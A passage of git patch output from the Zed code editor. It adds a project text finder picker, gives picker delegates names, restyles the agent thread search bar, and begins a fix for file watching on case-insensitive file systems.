+        font_weight: Some(gpui::FontWeight::BOLD),
+        ..Default::default()
+    };
+
+    let line_start_abs = search_match.range.start - search_match.relative_range.start;
+    let visible_start_abs = line_start_abs + trim_offset;
+    let visible_end_abs = line_start_abs + original_line.len();
+
+    // Syntax highlights for the visible (trimmed) portion of the line, with
+    // ranges relative to the start of the rendered text.
+    let snapshot = search_match.buffer.read(cx).snapshot();
+    let syntax_theme = cx.theme().syntax();
+    let mut syntax_highlights: Vec<(Range<usize>, HighlightStyle)> = Vec::new();
+    let mut current_offset = 0;
+    for chunk in snapshot.chunks(
+        visible_start_abs..visible_end_abs,
+        LanguageAwareStyling {
+            tree_sitter: true,
+            diagnostics: false,
+        },
+    ) {
+        let chunk_len = chunk.text.len();
+        if let Some(style) = chunk
+            .syntax_highlight_id
+            .and_then(|id| syntax_theme.get(id).copied())
+        {
+            syntax_highlights.push((current_offset..current_offset + chunk_len, style));
+        }
+        current_offset += chunk_len;
+    }
+
+    // The search match range, clamped to the visible area and made relative to
+    // the start of the rendered text.
+    let match_start = search_match
+        .range
+        .start
+        .clamp(visible_start_abs, visible_end_abs);
+    let match_end = search_match
+        .range
+        .end
+        .clamp(visible_start_abs, visible_end_abs);
+    let match_highlight = (
+        match_start - visible_start_abs..match_end - visible_start_abs,
+        search_match_style,
+    );
+
+    let highlights = gpui::combine_highlights(syntax_highlights, [match_highlight]);
+
+    StyledText::new(line_text.to_string()).with_default_highlights(&text_style, highlights)
+}
+
+impl Delegate {
+    pub(crate) fn build_search_query(
+        &mut self,
+        query: &str,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<SearchQuery> {
+        if query.is_empty() {
+            return None;
+        }
+
+        // Reuse the include/exclude filters configured on the shared project
+        // search view so the text finder respects them too.
+        let (files_to_include, files_to_exclude) =
+            self.project_search_view.read(cx).file_path_filters(cx);
+
+        // If the project contains multiple visible worktrees, we match the
+        // include/exclude patterns against full paths to allow them to be
+        // disambiguated. For single worktree projects we use worktree relative
+        // paths for convenience.
+        let match_full_paths = self.project(cx).read(cx).visible_worktrees(cx).count() > 1;
+        let open_buffers = None;
+
+        self.search_options
+            .build_query(
+                query,
+                files_to_include,
+                files_to_exclude,
+                match_full_paths,
+                open_buffers,
+            )
+            .log_err()
+    }
+
+    /// Create things from MB
+    pub(crate) fn process_search_result(
+        buffer: &Entity<Buffer>,
+        ranges: &[Range<Anchor>],
+        cx: &AsyncApp,
+    ) -> Vec<SearchMatch> {
+        if ranges.is_empty() {
+            return Vec::new();
+        }
+
+        buffer.read_with(cx, |buf, cx| {
+            let file = buf.file();
+            let path = file.map(|f| ProjectPath {
+                worktree_id: f.worktree_id(cx),
+                path: f.path().clone(),
+            });
+            let text = buf.text();
+
+            let mut matches = Vec::new();
+            for anchor_range in ranges {
+                let start_offset: usize = buf.summary_for_anchor(&anchor_range.start);
+                let end_offset: usize = buf.summary_for_anchor(&anchor_range.end);
+                let match_row = buf.offset_to_point(start_offset).row;
+                let line_number = match_row + 1;
+                let line_start = text[..start_offset].rfind('\n').map(|i| i + 1).unwrap_or(0);
+                let line_end = text[start_offset..]
+                    .find('\n')
+                    .map(|i| start_offset + i)
+                    .unwrap_or(text.len());
+                let line_text = text[line_start..line_end].to_string();
+
+                let relative_start = start_offset - line_start;
+                let relative_end = end_offset - line_start;
+
+                if let Some(path) = &path {
+                    matches.push(SearchMatch {
+                        path: path.clone(),
+                        buffer: buffer.clone(),
+                        anchor_range: anchor_range.clone(),
+                        range: start_offset..end_offset,
+                        relative_range: relative_start..relative_end,
+                        line_text,
+                        line_number,
+                    });
+                }
+            }
+            matches
+        })
+    }
+}
diff --git a/crates/search/src/text_finder/render.rs b/crates/search/src/text_finder/render.rs
new file mode 100644
index 00000000000000..d36587ce46d659
--- /dev/null
+++ b/crates/search/src/text_finder/render.rs
@@ -0,0 +1,20 @@
+use gpui::KeyContext;
+use ui::{Context, InteractiveElement, IntoElement, ParentElement, Render, Window, v_flex};
+
+use super::TextFinder;
+
+impl Render for TextFinder {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let mut key_context = KeyContext::new_with_defaults();
+        key_context.add("TextFinder");
+
+        v_flex()
+            .key_context(key_context)
+            .on_action(cx.listener(Self::to_project_search))
+            .on_action(cx.listener(Self::split_left))
+            .on_action(cx.listener(Self::split_right))
+            .on_action(cx.listener(Self::split_up))
+            .on_action(cx.listener(Self::split_down))
+            .child(self.picker.clone())
+    }
+}
diff --git a/crates/settings/src/settings.rs b/crates/settings/src/settings.rs
index 1b75f9395e4f46..cec4aac90329b7 100644
--- a/crates/settings/src/settings.rs
+++ b/crates/settings/src/settings.rs
@@ -155,6 +155,17 @@ pub fn vim_keymap() -> Cow<'static, str> {
     asset_str::<SettingsAssets>(VIM_KEYMAP_PATH)
 }
 
+/// Specific keybinding overrides. Loaded after the base keymap so they win over
+/// conflicting base-keymap (and default `Editor`) bindings for the same chords,
+/// while still allowing user keymaps (loaded last) to override them. Shared
+/// across features - prefer adding a context block here over creating another
+/// override keymap file.
+#[cfg(target_os = "macos")]
+pub const SPECIFIC_OVERRIDES_KEYMAP_PATH: &str = "keymaps/specific-overrides-macos.json";
+
+#[cfg(not(target_os = "macos"))]
+pub const SPECIFIC_OVERRIDES_KEYMAP_PATH: &str = "keymaps/specific-overrides.json";
+
 pub fn initial_user_settings_content() -> Cow<'static, str> {
     asset_str::<SettingsAssets>("settings/initial_user_settings.json")
 }
diff --git a/crates/settings_profile_selector/src/settings_profile_selector.rs b/crates/settings_profile_selector/src/settings_profile_selector.rs
index c273a08ce74278..d3cdde3a3903ef 100644
--- a/crates/settings_profile_selector/src/settings_profile_selector.rs
+++ b/crates/settings_profile_selector/src/settings_profile_selector.rs
@@ -149,6 +149,10 @@ impl SettingsProfileSelectorDelegate {
 impl PickerDelegate for SettingsProfileSelectorDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "settings profile selector"
+    }
+
     fn placeholder_text(&self, _: &mut Window, _: &mut App) -> std::sync::Arc<str> {
         "Select a settings profile...".into()
     }
diff --git a/crates/settings_ui/src/components/font_picker.rs b/crates/settings_ui/src/components/font_picker.rs
index 564d98c6d2d9a7..9ede232f79571c 100644
--- a/crates/settings_ui/src/components/font_picker.rs
+++ b/crates/settings_ui/src/components/font_picker.rs
@@ -56,6 +56,10 @@ impl FontPickerDelegate {
 impl PickerDelegate for FontPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "font picker"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_fonts.len()
     }
@@ -176,6 +180,7 @@ pub fn font_picker(
 
     Picker::uniform_list(delegate, window, cx)
         .show_scrollbar(true)
-        .width(rems_from_px(210.))
-        .max_height(Some(rems(18.).into()))
+        .minimum_results_width(rems_from_px(210.))
+        .height(rems(18.))
+        .no_vertical_padding()
 }
diff --git a/crates/settings_ui/src/components/icon_theme_picker.rs b/crates/settings_ui/src/components/icon_theme_picker.rs
index f369a8207dc334..1f01bb93ee8237 100644
--- a/crates/settings_ui/src/components/icon_theme_picker.rs
+++ b/crates/settings_ui/src/components/icon_theme_picker.rs
@@ -59,6 +59,10 @@ impl IconThemePickerDelegate {
 impl PickerDelegate for IconThemePickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "icon theme picker"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_themes.len()
     }
@@ -189,6 +193,7 @@ pub fn icon_theme_picker(
 
     Picker::uniform_list(delegate, window, cx)
         .show_scrollbar(true)
-        .width(rems_from_px(210.))
-        .max_height(Some(rems(18.).into()))
+        .minimum_results_width(rems_from_px(210.))
+        .height(rems(18.))
+        .no_vertical_padding()
 }
diff --git a/crates/settings_ui/src/components/ollama_model_picker.rs b/crates/settings_ui/src/components/ollama_model_picker.rs
index b39b2fc61e6a87..d628bcfc4bcb2c 100644
--- a/crates/settings_ui/src/components/ollama_model_picker.rs
+++ b/crates/settings_ui/src/components/ollama_model_picker.rs
@@ -62,6 +62,10 @@ impl OllamaModelPickerDelegate {
 impl PickerDelegate for OllamaModelPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "ollama model picker"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_models.len()
     }
@@ -200,8 +204,9 @@ pub fn render_ollama_model_picker(
 
                 Picker::uniform_list(delegate, window, cx)
                     .show_scrollbar(true)
-                    .width(rems_from_px(210.))
-                    .max_height(Some(rems(18.).into()))
+                    .minimum_results_width(rems_from_px(210.))
+                    .height(rems(18.))
+                    .no_vertical_padding()
             }))
         })
         .anchor(gpui::Anchor::TopLeft)
diff --git a/crates/settings_ui/src/components/theme_picker.rs b/crates/settings_ui/src/components/theme_picker.rs
index a1f1339a7ad128..89253692fde071 100644
--- a/crates/settings_ui/src/components/theme_picker.rs
+++ b/crates/settings_ui/src/components/theme_picker.rs
@@ -54,6 +54,10 @@ impl ThemePickerDelegate {
 impl PickerDelegate for ThemePickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "theme picker"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_themes.len()
     }
@@ -174,6 +178,7 @@ pub fn theme_picker(
 
     Picker::uniform_list(delegate, window, cx)
         .show_scrollbar(true)
-        .width(rems_from_px(210.))
-        .max_height(Some(rems(18.).into()))
+        .minimum_results_width(rems_from_px(210.))
+        .height(rems(18.))
+        .no_vertical_padding()
 }
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 12c1816d6da6c6..83833a4a78744f 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -3516,7 +3516,7 @@ fn search_and_files_page() -> SettingsPage {
         ]
     }
 
-    fn file_finder_section() -> [SettingsPageItem; 5] {
+    fn file_finder_section() -> [SettingsPageItem; 4] {
         [
             SettingsPageItem::SectionHeader("File Finder"),
             // todo: null by default
@@ -3562,29 +3562,6 @@ fn search_and_files_page() -> SettingsPage {
                 metadata: None,
                 files: USER,
             }),
-            SettingsPageItem::SettingItem(SettingItem {
-                title: "Modal Max Width",
-                description: "Determines how much space the file finder can take up in relation to the available window width.",
-                field: Box::new(SettingField {
-                    organization_override: None,
-                    json_path: Some("file_finder.modal_max_width"),
-                    pick: |settings_content| {
-                        settings_content
-                            .file_finder
-                            .as_ref()?
-                            .modal_max_width
-                            .as_ref()
-                    },
-                    write: |settings_content, value, _| {
-                        settings_content
-                            .file_finder
-                            .get_or_insert_default()
-                            .modal_max_width = value;
-                    },
-                }),
-                metadata: None,
-                files: USER,
-            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Skip Focus For Active In Search",
                 description: "Whether the file finder should skip focus for the active file in search results.",
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 1428c729018b2a..8e98af5cca4315 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -561,7 +561,6 @@ fn init_renderers(cx: &mut App) {
         .add_basic_renderer::<settings::LineEndingSetting>(render_dropdown)
         .add_basic_renderer::<settings::IndentGuideColoring>(render_dropdown)
         .add_basic_renderer::<settings::IndentGuideBackgroundColoring>(render_dropdown)
-        .add_basic_renderer::<settings::FileFinderWidthContent>(render_dropdown)
         .add_basic_renderer::<settings::ShowDiagnostics>(render_dropdown)
         .add_basic_renderer::<settings::WordsCompletionMode>(render_dropdown)
         .add_basic_renderer::<settings::LspInsertMode>(render_dropdown)
diff --git a/crates/snippets_ui/src/snippets_ui.rs b/crates/snippets_ui/src/snippets_ui.rs
index ffb136f625286f..9d9ad8f8985fbb 100644
--- a/crates/snippets_ui/src/snippets_ui.rs
+++ b/crates/snippets_ui/src/snippets_ui.rs
@@ -199,6 +199,10 @@ impl ScopeSelectorDelegate {
 impl PickerDelegate for ScopeSelectorDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "snippet scope selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _: &mut App) -> Arc<str> {
         "Select snippet scope...".into()
     }
diff --git a/crates/tab_switcher/src/tab_switcher.rs b/crates/tab_switcher/src/tab_switcher.rs
index 7edaaf46c75546..5e3701ced7b03f 100644
--- a/crates/tab_switcher/src/tab_switcher.rs
+++ b/crates/tab_switcher/src/tab_switcher.rs
@@ -717,6 +717,10 @@ impl TabSwitcherDelegate {
 impl PickerDelegate for TabSwitcherDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "tab switcher"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Search all tabs…".into()
     }
diff --git a/crates/tasks_ui/src/modal.rs b/crates/tasks_ui/src/modal.rs
index 22ad76ca6e7dbd..a590002aebe4e7 100644
--- a/crates/tasks_ui/src/modal.rs
+++ b/crates/tasks_ui/src/modal.rs
@@ -237,6 +237,10 @@ const MAX_TAGS_LINE_LEN: usize = 30;
 impl PickerDelegate for TasksModalDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "tasks modal"
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
diff --git a/crates/theme_selector/src/icon_theme_selector.rs b/crates/theme_selector/src/icon_theme_selector.rs
index 9abcd9a40cf08e..f677ce27da7d16 100644
--- a/crates/theme_selector/src/icon_theme_selector.rs
+++ b/crates/theme_selector/src/icon_theme_selector.rs
@@ -162,6 +162,10 @@ impl IconThemeSelectorDelegate {
 impl PickerDelegate for IconThemeSelectorDelegate {
     type ListItem = ui::ListItem;
 
+    fn name() -> &'static str {
+        "icon theme selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select Icon Theme...".into()
     }
diff --git a/crates/theme_selector/src/theme_selector.rs b/crates/theme_selector/src/theme_selector.rs
index 5fc3217f63f4bb..a245e95529b391 100644
--- a/crates/theme_selector/src/theme_selector.rs
+++ b/crates/theme_selector/src/theme_selector.rs
@@ -378,6 +378,10 @@ fn retain_original_opposing_theme(
 impl PickerDelegate for ThemeSelectorDelegate {
     type ListItem = ui::ListItem;
 
+    fn name() -> &'static str {
+        "theme selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Select Theme...".into()
     }
diff --git a/crates/toolchain_selector/src/toolchain_selector.rs b/crates/toolchain_selector/src/toolchain_selector.rs
index 010003cd572f85..a85b722a6d5160 100644
--- a/crates/toolchain_selector/src/toolchain_selector.rs
+++ b/crates/toolchain_selector/src/toolchain_selector.rs
@@ -898,6 +898,10 @@ impl ToolchainSelectorDelegate {
 impl PickerDelegate for ToolchainSelectorDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "toolchain selector"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         self.placeholder_text.clone()
     }
diff --git a/crates/ui_input/src/ui_input.rs b/crates/ui_input/src/ui_input.rs
index 595f16d849eb63..d913a2e708f989 100644
--- a/crates/ui_input/src/ui_input.rs
+++ b/crates/ui_input/src/ui_input.rs
@@ -21,6 +21,7 @@ pub trait ErasedEditor: 'static {
     fn move_selection_to_end(&self, window: &mut Window, _: &mut App);
     fn set_masked(&self, masked: bool, window: &mut Window, cx: &mut App);
     fn set_read_only(&self, read_only: bool, cx: &mut App);
+    fn set_multiline(&self, max_lines: Option<usize>, window: &mut Window, cx: &mut App);
 
     fn focus_handle(&self, cx: &App) -> FocusHandle;
 
diff --git a/crates/vim/src/state.rs b/crates/vim/src/state.rs
index b92adf4cb5d424..a5aa8ba4b59e64 100644
--- a/crates/vim/src/state.rs
+++ b/crates/vim/src/state.rs
@@ -1264,6 +1264,10 @@ pub struct RegistersViewDelegate {
 impl PickerDelegate for RegistersViewDelegate {
     type ListItem = Div;
 
+    fn name() -> &'static str {
+        "registers view"
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
@@ -1430,7 +1434,7 @@ impl RegistersView {
         };
 
         Picker::nonsearchable_uniform_list(delegate, window, cx)
-            .width(rems(36.))
+            .initial_width(rems(36.))
             .modal(true)
     }
 }
@@ -1478,6 +1482,10 @@ pub struct MarksViewDelegate {
 impl PickerDelegate for MarksViewDelegate {
     type ListItem = Div;
 
+    fn name() -> &'static str {
+        "marks view"
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
@@ -1793,7 +1801,7 @@ impl MarksView {
             workspace,
         };
         Picker::nonsearchable_uniform_list(delegate, window, cx)
-            .width(rems(36.))
+            .initial_width(rems(36.))
             .modal(true)
     }
 }
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index e396a4b301ccdd..9aef0103258bc9 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -66,9 +66,9 @@ use rope::Rope;
 use search::project_search::ProjectSearchBar;
 use settings::{
     BaseKeymap, DEFAULT_KEYMAP_PATH, DefaultOpenBehavior, InvalidSettingsError, KeybindSource,
-    KeymapFile, KeymapFileLoadResult, MigrationStatus, Settings, SettingsFile, SettingsStore,
-    VIM_KEYMAP_PATH, initial_local_debug_tasks_content, initial_project_settings_content,
-    initial_tasks_content, update_settings_file,
+    KeymapFile, KeymapFileLoadResult, MigrationStatus, SPECIFIC_OVERRIDES_KEYMAP_PATH, Settings,
+    SettingsFile, SettingsStore, VIM_KEYMAP_PATH, initial_local_debug_tasks_content,
+    initial_project_settings_content, initial_tasks_content, update_settings_file,
 };
 use sidebar::Sidebar;
 #[cfg(debug_assertions)]
@@ -2244,6 +2244,15 @@ pub fn load_default_keymap(cx: &mut App) {
             KeymapFile::load_asset(VIM_KEYMAP_PATH, Some(KeybindSource::Vim), cx).unwrap(),
         );
     }
+
+    cx.bind_keys(
+        KeymapFile::load_asset(
+            SPECIFIC_OVERRIDES_KEYMAP_PATH,
+            Some(KeybindSource::Default),
+            cx,
+        )
+        .unwrap(),
+    );
 }
 
 pub fn open_new_ssh_project_from_project(
@@ -5358,6 +5367,7 @@ mod tests {
                 "task",
                 "terminal",
                 "terminal_panel",
+                "text_finder",
                 "theme",
                 "theme_selector",
                 "toast",
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index c16bf5ef22fc4a..0fe1b3fba01002 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -372,6 +372,18 @@ pub mod command_palette {
     );
 }
 
+pub mod text_finder {
+    use gpui::actions;
+
+    actions!(
+        text_finder,
+        [
+            /// Opens the Project Search Picker.
+            Toggle,
+        ]
+    );
+}
+
 pub mod project_panel {
     use gpui::actions;
 
diff --git a/script/check-keymaps b/script/check-keymaps
index 44745fa8b81985..abda2118f84620 100755
--- a/script/check-keymaps
+++ b/script/check-keymaps
@@ -7,6 +7,7 @@ result=$(git grep --no-color --line-number --fixed-strings -e "$pattern" -- \
   'assets/keymaps/' \
   ':(exclude)assets/keymaps/storybook.json' \
   ':(exclude)assets/keymaps/default-macos.json' \
+  ':(exclude)assets/keymaps/specific-overrides-macos.json' \
   ':(exclude)assets/keymaps/macos/*.json' || true)
 
 if [[ -n "${result}" ]]; then

From 195760c6173e6a133192e497cff02c052890f8b1 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Fri, 19 Jun 2026 14:58:47 -0300
Subject: [PATCH 007/772] thread_view: Add some design improvements to thread
 search (#59609)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Small stuff here mostly improving colors, spacing, and typeface use
(leaning towards using UI font as most of the text in the agent panel is
actually UI font).

| Before | After |
|--------|--------|
| <img width="700" alt="Screenshot 2026-06-19 at 7  48@2x"
src="https://github.com/user-attachments/assets/b54da1de-e6ce-4e39-8d9d-6c375430e67c"
/> | <img width="600" alt="Screenshot 2026-06-19 at 7  47@2x"
src="https://github.com/user-attachments/assets/b3d5c704-6961-4ae2-9306-f6b70a641cdd"
/> |

Release Notes:

- N/A
---
 .../conversation_view/thread_search_bar.rs    | 83 ++++++++-----------
 1 file changed, 34 insertions(+), 49 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_search_bar.rs b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
index b1c15cca1747de..bf09c33ae2d528 100644
--- a/crates/agent_ui/src/conversation_view/thread_search_bar.rs
+++ b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
@@ -12,8 +12,8 @@ use editor::{
     scroll::Autoscroll,
 };
 use gpui::{
-    Action, App, Context, Entity, EntityId, EventEmitter, FocusHandle, Focusable, Hsla, KeyContext,
-    SharedString, Subscription, Task, TextStyle, WeakEntity, Window, actions, relative, rems,
+    Action, Entity, EntityId, EventEmitter, FocusHandle, Focusable, KeyContext, Subscription, Task,
+    TextStyle, WeakEntity, actions, prelude::*,
 };
 use markdown::Markdown;
 use multi_buffer::{Anchor, MultiBufferOffset, MultiBufferSnapshot};
@@ -21,10 +21,7 @@ use project::search::SearchQuery;
 use search::{SearchOption, SearchOptions, SearchSource};
 use settings::Settings as _;
 use theme_settings::ThemeSettings;
-use ui::{
-    ActiveTheme, ButtonStyle, Color, IconButton, IconButtonShape, IconName, IntoElement, Label,
-    LabelSize, Tooltip, div, h_flex, prelude::*, v_flex,
-};
+use ui::{IconButtonShape, Tooltip, prelude::*};
 use util::paths::PathMatcher;
 
 use crate::entry_view_state::EntryViewState;
@@ -715,20 +712,15 @@ impl Render for ThreadSearchBar {
     fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let focus_handle = self.query_editor.focus_handle(cx);
         let theme = cx.theme().colors();
+
         let has_matches = !self.matches.is_empty();
         let query_empty = self.query_editor.read(cx).text(cx).is_empty();
         let in_error_state = self.query_error || (!query_empty && !has_matches);
-        let border_color = theme.border;
 
         let mut key_context = KeyContext::new_with_defaults();
         key_context.add("AcpThreadSearchBar");
 
         let counter_text = self.active_match_text(cx).unwrap_or_default();
-        let counter_color = if has_matches {
-            Color::Default
-        } else {
-            Color::Muted
-        };
 
         let bar_row = h_flex()
             .track_focus(&focus_handle)
@@ -742,16 +734,17 @@ impl Render for ThreadSearchBar {
             .on_action(cx.listener(Self::focus_search))
             .w_full()
             .gap_2()
-            .px_2()
-            .py_1()
-            .border_b_1()
-            .border_color(theme.border)
-            .bg(theme.toolbar_background)
             .child(
-                input_box(border_color)
-                    .flex_1()
+                h_flex()
+                    .min_h_8()
                     .min_w_32()
-                    .child(div().flex_1().min_w_0().py_1().child(render_query_input(
+                    .flex_1()
+                    .px_1p5()
+                    .border_1()
+                    .border_color(theme.border)
+                    .bg(theme.editor_background)
+                    .rounded_md()
+                    .child(div().flex_1().child(render_query_input(
                         &self.query_editor,
                         in_error_state,
                         cx,
@@ -801,7 +794,7 @@ impl Render for ThreadSearchBar {
                         div().ml_1().min_w(rems(2.5)).child(
                             Label::new(counter_text)
                                 .size(LabelSize::Small)
-                                .color(counter_color),
+                                .when(!has_matches, |this| this.color(Color::Muted)),
                         ),
                     )
                     .child(nav_button(
@@ -814,51 +807,44 @@ impl Render for ThreadSearchBar {
                     )),
             );
 
-        let error_row = self.query_error_message.clone().map(|msg| {
-            div()
-                .w_full()
-                .px_2()
-                .py_0p5()
-                .border_b_1()
-                .border_color(theme.border)
-                .bg(theme.toolbar_background)
-                .child(Label::new(msg).size(LabelSize::Small).color(Color::Error))
-        });
+        let error_row = self
+            .query_error_message
+            .clone()
+            .map(|msg| Label::new(msg).size(LabelSize::Small).color(Color::Error));
 
-        v_flex().w_full().child(bar_row).children(error_row)
+        v_flex()
+            .w_full()
+            .p_2()
+            .bg(theme.panel_background)
+            .border_b_1()
+            .border_color(theme.border.opacity(0.6))
+            .child(bar_row)
+            .children(error_row)
     }
 }
 
-fn input_box(border_color: Hsla) -> gpui::Div {
-    h_flex()
-        .min_h_8()
-        .pl_2()
-        .pr_1()
-        .border_1()
-        .border_color(border_color)
-        .rounded_md()
-}
-
 fn render_query_input(editor: &Entity<Editor>, has_error: bool, app: &App) -> impl IntoElement {
     let theme = app.theme().colors();
     let (color, use_syntax) = if has_error {
-        (ui::Color::Error.color(app), false)
+        (Color::Error.color(app), false)
     } else {
         (theme.text, true)
     };
+
     let settings = ThemeSettings::get_global(app);
+
     let text_style = TextStyle {
         color,
-        font_family: settings.buffer_font.family.clone(),
-        font_features: settings.buffer_font.features.clone(),
-        font_fallbacks: settings.buffer_font.fallbacks.clone(),
+        font_family: settings.ui_font.family.clone(),
+        font_features: settings.ui_font.features.clone(),
+        font_fallbacks: settings.ui_font.fallbacks.clone(),
         font_size: rems(0.875).into(),
-        font_weight: settings.buffer_font.weight,
+        font_weight: settings.ui_font.weight,
         line_height: relative(1.3),
         ..TextStyle::default()
     };
     let mut style = EditorStyle {
-        background: theme.toolbar_background,
+        background: theme.editor_background,
         local_player: app.theme().players().local(),
         text: text_style,
         ..EditorStyle::default()
@@ -879,7 +865,6 @@ fn nav_button(
 ) -> IconButton {
     let action_for_dispatch = action;
     IconButton::new(id, icon)
-        .style(ButtonStyle::Subtle)
         .shape(IconButtonShape::Square)
         .disabled(disabled)
         .on_click({

From 6febe1c45a6d4b5460678a69b4eea497aa1f89ad Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Fri, 19 Jun 2026 16:49:58 -0400
Subject: [PATCH 008/772] Allow file watchers to handle case insensitive file
 systems (#59579)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Goal

This PR fixes a bug in our file system watcher. Because it matched paths
case sensitively, it didn't account for file systems that are case
insensitive by default (macOS, Windows, etc.). As a result, when
multiple subscribers watched the same path using different casing, Zed
could fail to emit file system events to some of them.

### Reproduction

I reproduced this with the `tsgo` LSP, which lowercases the file path of
the visible worktree root it runs in. Zed subscribes to worktree roots
to receive FS updates — e.g. external edits to a buffer, or git state
changes — but it doesn't normalize the path when subscribing, so the two
casings never matched.

### Fix

Fixing this took longer than expected, because I spent a while deciding
on an approach. I considered three:

- **Follow VS Code's lead:** always treat macOS/Windows as case
insensitive and Linux as case sensitive. Simple, but it would leave a
couple of bugs.
- **Real case the path at registration:** walk each component and use
syscalls to rewrite it to match what the file system shows the user
(e.g. Finder shows `/Project/some`, so a request to watch
`/project/some` becomes `/Project/some`). This had rough edge cases with
symlinks that I didn't want to deal with.
- **Detect via syscalls whether a path is on a case-insensitive
(normalizing) file system and match accordingly** — what I went with.
The one wrinkle is that Windows can mark individual directories
case-sensitive… because Windows.

I also added integration tests to prevent future regressions.

Note: Windows currently defaults to case insensitive; implementing the
actual case sensitivity check for it is left to a follow up PR.

Helps #38109 #35861 #52376  and maybe #41195

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed missed file system events on case-insensitive filesystems that
could cause stale git state and other sync issues

---------

Co-authored-by: Cole Miller <cole@zed.dev>
---
 Cargo.lock                              |   1 +
 crates/fs/Cargo.toml                    |   3 +
 crates/fs/src/fs_watcher.rs             | 500 ++++++++++++++++++++----
 crates/fs/tests/integration/fs_tests.rs | 253 ++++++++++++
 crates/worktree/src/worktree.rs         |   5 +
 5 files changed, 682 insertions(+), 80 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 98740df2a37d1f..2d7c91d9f70382 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6874,6 +6874,7 @@ dependencies = [
  "thiserror 2.0.17",
  "time",
  "trash",
+ "unicode-normalization",
  "util",
  "windows 0.61.3",
 ]
diff --git a/crates/fs/Cargo.toml b/crates/fs/Cargo.toml
index 01526ae07a3316..5f95536e6c526b 100644
--- a/crates/fs/Cargo.toml
+++ b/crates/fs/Cargo.toml
@@ -53,6 +53,9 @@ dunce.workspace = true
 [target.'cfg(any(target_os = "linux", target_os = "freebsd"))'.dependencies]
 ashpd.workspace = true
 
+[target.'cfg(target_os = "macos")'.dependencies]
+unicode-normalization = "0.1"
+
 [dev-dependencies]
 fs = { workspace = true, features = ["test-support"] }
 gpui = { workspace = true, features = ["test-support"] }
diff --git a/crates/fs/src/fs_watcher.rs b/crates/fs/src/fs_watcher.rs
index 98184da38e316d..49d0d429d8e0fc 100644
--- a/crates/fs/src/fs_watcher.rs
+++ b/crates/fs/src/fs_watcher.rs
@@ -2,7 +2,8 @@ use gpui::{BackgroundExecutor, Task};
 use notify::{Event, EventKind};
 use parking_lot::Mutex;
 use std::{
-    collections::{BTreeMap, HashMap},
+    collections::HashMap,
+    fs,
     ops::DerefMut,
     path::Path,
     sync::{Arc, LazyLock, OnceLock},
@@ -23,7 +24,7 @@ pub struct FsWatcher {
     executor: BackgroundExecutor,
     tx: async_channel::Sender<()>,
     pending_path_events: Arc<Mutex<Vec<PathEvent>>>,
-    registrations: Arc<Mutex<BTreeMap<Arc<std::path::Path>, FsWatcherRegistration>>>,
+    registrations: Arc<Mutex<HashMap<WatchKey, FsWatcherRegistration>>>,
     pending_registrations: Arc<Mutex<HashMap<Arc<std::path::Path>, Task<()>>>>,
 }
 
@@ -49,13 +50,19 @@ impl FsWatcher {
     }
 
     fn add_existing_path(&self, path: Arc<Path>) -> anyhow::Result<()> {
-        let registration_path = path.clone();
-        if let Some(registration) =
